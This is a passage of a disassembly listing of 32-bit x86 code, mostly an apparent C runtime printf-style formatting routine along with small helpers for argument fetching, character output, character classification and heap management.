		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419493:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		cmp	bl, 49h		; jumptable 004193B1 case 6
		jz	short loc_4194C6
		cmp	bl, 68h
		jz	short loc_4194BD
		cmp	bl, 6Ch
		jz	short loc_4194B4
		cmp	bl, 77h
		jnz	loc_419A4B	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4194B4:				; CODE XREF: sub_419343+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4194BD:				; CODE XREF: sub_419343+158j
		or	[ebp+var_4], 20h
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4194C6:				; CODE XREF: sub_419343+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_4194DF
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_4194DF
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_4194DF:				; CODE XREF: sub_419343+186j
					; sub_419343+18Cj
		mov	[ebp+var_30], edx


loc_4194E2:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		mov	ecx, off_43B5A0	; jumptable 004193B1 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41950E
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_419A84
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41950E:				; CODE XREF: sub_419343+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_419A84
		add	esp, 0Ch
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419526:				; CODE XREF: sub_419343+6Ej
					; DATA XREF: ___:off_419A64o
		movsx	eax, bl		; jumptable 004193B1 case 7
		cmp	eax, 67h
		jg	loc_41974E
		cmp	eax, 65h
		jge	loc_4195D1
		cmp	eax, 58h
		jg	loc_41962F
		jz	loc_4197C2
		sub	eax, 43h
		jz	loc_4195F2
		dec	eax
		dec	eax
		jz	short loc_4195C7
		dec	eax
		dec	eax
		jz	short loc_4195C7
		sub	eax, 0Ch
		jnz	loc_41994D
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_419570
		or	byte ptr [ebp+var_4+1],	8


loc_419570:				; CODE XREF: sub_419343+227j
					; sub_419343+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41957D
		mov	esi, 7FFFFFFFh


loc_41957D:				; CODE XREF: sub_419343+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_419796
		test	ecx, ecx
		jnz	short loc_4195A5
		mov	ecx, off_43B59C
		mov	[ebp+var_8], ecx


loc_4195A5:				; CODE XREF: sub_419343+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4195AE:				; CODE XREF: sub_419343+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41978D
		cmp	word ptr [eax],	0
		jz	loc_41978D
		inc	eax
		inc	eax
		jmp	short loc_4195AE
; ---------------------------------------------------------------------------


loc_4195C7:				; CODE XREF: sub_419343+212j
					; sub_419343+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4195D1:				; CODE XREF: sub_419343+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4196B5
		mov	[ebp+var_10], 6
		jmp	loc_4196C3
; ---------------------------------------------------------------------------


loc_4195F2:				; CODE XREF: sub_419343+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4195FE
		or	byte ptr [ebp+var_4+1],	8


loc_4195FE:				; CODE XREF: sub_419343+2B5j
					; sub_419343+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_419645
		call	sub_419B3F
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41D68B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_419658
		mov	[ebp+var_28], 1
		jmp	short loc_419658
; ---------------------------------------------------------------------------


loc_41962F:				; CODE XREF: sub_419343+1FBj
		sub	eax, 5Ah
		jz	short loc_419666
		sub	eax, 9
		jz	short loc_4195FE
		dec	eax
		jz	loc_419828
		jmp	loc_41994D
; ---------------------------------------------------------------------------


loc_419645:				; CODE XREF: sub_419343+2C5j
		call	sub_419B22
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_419658:				; CODE XREF: sub_419343+2E1j
					; sub_419343+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41994D
; ---------------------------------------------------------------------------


loc_419666:				; CODE XREF: sub_419343+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	eax, eax
		pop	ecx
		jz	short loc_4196A7
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4196A7
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_419698
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41994D
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419343+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41994A
; ---------------------------------------------------------------------------


loc_4196A7:				; CODE XREF: sub_419343+32Fj
					; sub_419343+336j
		mov	eax, off_43B598
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_419743
; ---------------------------------------------------------------------------


loc_4196B5:				; CODE XREF: sub_419343+29Dj
		jnz	short loc_4196C3
		cmp	bl, 67h
		jnz	short loc_4196C3
		mov	[ebp+var_10], 1


loc_4196C3:				; CODE XREF: sub_419343+2AAj
					; sub_419343:loc_4196B5j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43B8C8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_419715
		cmp	[ebp+var_10], 0
		jnz	short loc_419715
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B8D4
		pop	ecx


loc_419715:				; CODE XREF: sub_419343+3BCj
					; sub_419343+3C2j
		cmp	bl, 67h
		jnz	short loc_41972C
		test	esi, esi
		jnz	short loc_41972C
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43B8CC
		pop	ecx


loc_41972C:				; CODE XREF: sub_419343+3D5j
					; sub_419343+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_419742
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_419742:				; CODE XREF: sub_419343+3F0j
		push	edi


loc_419743:				; CODE XREF: sub_419343+36Dj
		call	sub_417AF0
		pop	ecx
		jmp	loc_41994A
; ---------------------------------------------------------------------------


loc_41974E:				; CODE XREF: sub_419343+1E9j
		sub	eax, 69h
		jz	loc_419828
		sub	eax, 5
		jz	loc_4197FE
		dec	eax
		jz	loc_4197EB
		dec	eax
		jz	short loc_4197BB
		sub	eax, 3
		jz	loc_419570
		dec	eax
		dec	eax
		jz	loc_41982C
		sub	eax, 3
		jnz	loc_41994D
		mov	[ebp+var_2C], 27h
		jmp	short loc_4197C9
; ---------------------------------------------------------------------------


loc_41978D:				; CODE XREF: sub_419343+270j
					; sub_419343+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41994A
; ---------------------------------------------------------------------------


loc_419796:				; CODE XREF: sub_419343+24Fj
		test	ecx, ecx
		jnz	short loc_4197A3
		mov	ecx, off_43B598
		mov	[ebp+var_8], ecx


loc_4197A3:				; CODE XREF: sub_419343+455j
		mov	eax, ecx


loc_4197A5:				; CODE XREF: sub_419343+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4197B4
		cmp	byte ptr [eax],	0
		jz	short loc_4197B4
		inc	eax
		jmp	short loc_4197A5
; ---------------------------------------------------------------------------


loc_4197B4:				; CODE XREF: sub_419343+467j
					; sub_419343+46Cj
		sub	eax, ecx
		jmp	loc_41994A
; ---------------------------------------------------------------------------


loc_4197BB:				; CODE XREF: sub_419343+425j
		mov	[ebp+var_10], 8


loc_4197C2:				; CODE XREF: sub_419343+201j
		mov	[ebp+var_2C], 7


loc_4197C9:				; CODE XREF: sub_419343+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_419833
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_419833
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419343+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_419833
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_419833
; ---------------------------------------------------------------------------


loc_4197FE:				; CODE XREF: sub_419343+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B22
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_419817
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41981C
; ---------------------------------------------------------------------------


loc_419817:				; CODE XREF: sub_419343+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41981C:				; CODE XREF: sub_419343+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_419A4B	; default
; ---------------------------------------------------------------------------


loc_419828:				; CODE XREF: sub_419343+2F7j
					; sub_419343+40Ej
		or	[ebp+var_4], 40h


loc_41982C:				; CODE XREF: sub_419343+432j
		mov	[ebp+var_C], 0Ah


loc_419833:				; CODE XREF: sub_419343+491j
					; sub_419343+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_419845
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_419B2F
		pop	ecx
		jmp	short loc_419886
; ---------------------------------------------------------------------------


loc_419845:				; CODE XREF: sub_419343+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41986C
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_419861
		call	sub_419B22
		pop	ecx
		movsx	eax, ax


loc_41985E:				; CODE XREF: sub_419343+527j
					; sub_419343+539j
		cdq
		jmp	short loc_419886
; ---------------------------------------------------------------------------


loc_419861:				; CODE XREF: sub_419343+510j
		call	sub_419B22
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41985E
; ---------------------------------------------------------------------------


loc_41986C:				; CODE XREF: sub_419343+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41987E
		call	sub_419B22
		pop	ecx
		jmp	short loc_41985E
; ---------------------------------------------------------------------------


loc_41987E:				; CODE XREF: sub_419343+531j
		call	sub_419B22
		pop	ecx
		xor	edx, edx


loc_419886:				; CODE XREF: sub_419343+500j
					; sub_419343+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4198A7
		test	edx, edx
		jg	short loc_4198A7
		jl	short loc_419896
		test	eax, eax
		jnb	short loc_4198A7


loc_419896:				; CODE XREF: sub_419343+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4198AB
; ---------------------------------------------------------------------------


loc_4198A7:				; CODE XREF: sub_419343+547j
					; sub_419343+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4198AB:				; CODE XREF: sub_419343+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4198B4
		and	edi, 0


loc_4198B4:				; CODE XREF: sub_419343+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4198C3
		mov	[ebp+var_10], 1
		jmp	short loc_4198C7
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_419343+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4198C7:				; CODE XREF: sub_419343+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4198D1
		and	[ebp+var_1C], 0


loc_4198D1:				; CODE XREF: sub_419343+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4198D7:				; CODE XREF: sub_419343+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4198E7
		mov	eax, esi
		or	eax, edi
		jz	short loc_419922


loc_4198E7:				; CODE XREF: sub_419343+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_4189C0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_418A40
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_419918
		add	ebx, [ebp+var_2C]


loc_419918:				; CODE XREF: sub_419343+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4198D7
; ---------------------------------------------------------------------------


loc_419922:				; CODE XREF: sub_419343+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41994D
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_419940
		test	eax, eax
		jnz	short loc_41994D


loc_419940:				; CODE XREF: sub_419343+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41994A:				; CODE XREF: sub_419343+35Fj
					; sub_419343+406j ...
		mov	[ebp+var_C], eax


loc_41994D:				; CODE XREF: sub_419343+21Bj
					; sub_419343+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_419A4B	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_419985
		test	bh, 1
		jz	short loc_41996A
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41997E
; ---------------------------------------------------------------------------


loc_41996A:				; CODE XREF: sub_419343+61Fj
		test	bl, 1
		jz	short loc_419975
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41997E
; ---------------------------------------------------------------------------


loc_419975:				; CODE XREF: sub_419343+62Aj
		test	bl, 2
		jz	short loc_419985
		mov	[ebp+var_16], 20h


loc_41997E:				; CODE XREF: sub_419343+625j
					; sub_419343+630j
		mov	[ebp+var_1C], 1


loc_419985:				; CODE XREF: sub_419343+61Aj
					; sub_419343+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4199A5
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_419AB9
		add	esp, 10h


loc_4199A5:				; CODE XREF: sub_419343+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_419AEA
		add	esp, 10h
		test	bl, 8
		jz	short loc_4199D7
		test	bl, 4
		jnz	short loc_4199D7
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_419AB9
		add	esp, 10h


loc_4199D7:				; CODE XREF: sub_419343+67Bj
					; sub_419343+680j
		cmp	[ebp+var_24], 0
		jz	short loc_419A1E
		cmp	[ebp+var_C], 0
		jle	short loc_419A1E
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4199EC:				; CODE XREF: sub_419343+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41D68B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_419A33
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_419AEA
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4199EC
		jmp	short loc_419A33
; ---------------------------------------------------------------------------


loc_419A1E:				; CODE XREF: sub_419343+698j
					; sub_419343+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_419AEA
		add	esp, 10h


loc_419A33:				; CODE XREF: sub_419343+6BCj
					; sub_419343+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_419A4B ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_419AB9
		add	esp, 10h


loc_419A4B:				; CODE XREF: sub_419343+68j
					; sub_419343+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41936F


loc_419A5C:				; CODE XREF: sub_419343+1Fj
					; sub_419343+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419343	endp

; ---------------------------------------------------------------------------
off_419A64	dd offset loc_4194E2	; DATA XREF: sub_419343+6Er
		dd offset loc_4193B8	; jump table for switch	statement
		dd offset loc_4193D3
		dd offset loc_41941F
		dd offset loc_419456
		dd offset loc_41945E
		dd offset loc_419493
		dd offset loc_419526

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A84	proc near		; CODE XREF: sub_419343+1BDp
					; sub_419343+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_419A9D
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_419AA8
; ---------------------------------------------------------------------------


loc_419A9D:				; CODE XREF: sub_419A84+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41922E
		pop	ecx
		pop	ecx


loc_419AA8:				; CODE XREF: sub_419A84+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_419AB5
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_419AB5:				; CODE XREF: sub_419A84+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_419A84	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AB9	proc near		; CODE XREF: sub_419343+65Ap
					; sub_419343+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_419AE7
		mov	esi, [esp+8+arg_C]


loc_419ACA:				; CODE XREF: sub_419AB9+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_419A84
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_419AE7
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_419ACA


loc_419AE7:				; CODE XREF: sub_419AB9+Bj
					; sub_419AB9+25j
		pop	edi
		pop	esi
		retn
sub_419AB9	endp


; =============== S U B	R O U T	I N E =======================================



sub_419AEA	proc near		; CODE XREF: sub_419343+670p
					; sub_419343+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_419B1E
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_419B00:				; CODE XREF: sub_419AEA+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_419A84
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_419B1E
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_419B00


loc_419B1E:				; CODE XREF: sub_419AEA+Cj
					; sub_419AEA+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419AEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B22	proc near		; CODE XREF: sub_419343+E5p
					; sub_419343+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_419B22	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B2F	proc near		; CODE XREF: sub_419343+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_419B2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B3F	proc near		; CODE XREF: sub_419343+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_419B3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B4D	proc near		; CODE XREF: sub_417894+17p
					; sub_417894+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_419B6B
		mov	ecx, off_43B5A0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_419BBD
; ---------------------------------------------------------------------------


loc_419B6B:				; CODE XREF: sub_419B4D+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43B5A0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_419B90
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B90:				; CODE XREF: sub_419B4D+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_419B99:				; CODE XREF: sub_419B4D+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41D6F3
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_419BB9
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BB9:				; CODE XREF: sub_419B4D+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_419BBD:				; CODE XREF: sub_419B4D+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_419B4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BC2	proc near		; CODE XREF: sub_417C00+1Fp
					; sub_418C3F+106p ...

arg_0		= dword	ptr  4

		mov	eax, dword_5158E0
		test	eax, eax
		jz	short loc_419BDA
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_419BDA
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_419BDA:				; CODE XREF: sub_419BC2+7j
					; sub_419BC2+12j
		xor	eax, eax
		retn
sub_419BC2	endp

; ---------------------------------------------------------------------------
		db 33h,	0C0h, 6Ah
		dd 24443900h, 10006808h, 940F0000h, 0E89050C0h,	7C3F8FC2h
		dd 0C0A3C085h, 7400516Eh, 17E815h, 0C0850000h, 35FF0F75h
		dd 516EC0h, 72E6E890h, 0C0337C3Fh, 58016AC3h, 14068C3h
		dd 6A0000h, 6EC035FFh, 0E8900051h, 7C4F69A8h, 0BCA3C085h
		dd 7500516Eh, 2583C301h, 516EB4h, 0B8258300h, 516Eh, 0B0A3016Ah
		dd 0C700516Eh, 516EA805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_419C57	proc near		; CODE XREF: sub_417C62+Ap
					; sub_418C3F+3Dp

arg_0		= dword	ptr  4

		mov	eax, dword_516EB8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_516EBC
		lea	ecx, [eax+ecx*4]


loc_419C67:				; CODE XREF: sub_419C57+26j
		cmp	eax, ecx
		jnb	short loc_419C7F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_419C81
		add	eax, 14h
		jmp	short loc_419C67
; ---------------------------------------------------------------------------


loc_419C7F:				; CODE XREF: sub_419C57+12j
		xor	eax, eax

locret_419C81:				; CODE XREF: sub_419C57+21j
		retn
sub_419C57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C82	proc near		; CODE XREF: sub_417C62+16p
					; sub_418C3F+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_419D48
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_419CDA
		mov	[ebp+arg_4], edi


loc_419CDA:				; CODE XREF: sub_419C82+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_419D2C
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_419D08
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_419D2C
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_419D2C
; ---------------------------------------------------------------------------


loc_419D08:				; CODE XREF: sub_419C82+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_419D2C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_419D2C:				; CODE XREF: sub_419C82+60j
					; sub_419C82+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_419D48:				; CODE XREF: sub_419C82+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_419D56
		push	3Fh
		pop	edi


loc_419D56:				; CODE XREF: sub_419C82+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_419E05
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_419D81
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_419D81:				; CODE XREF: sub_419C82+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_419D93
		mov	edi, edx


loc_419D93:				; CODE XREF: sub_419C82+10Dj
		cmp	ecx, edi
		jz	short loc_419E02
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
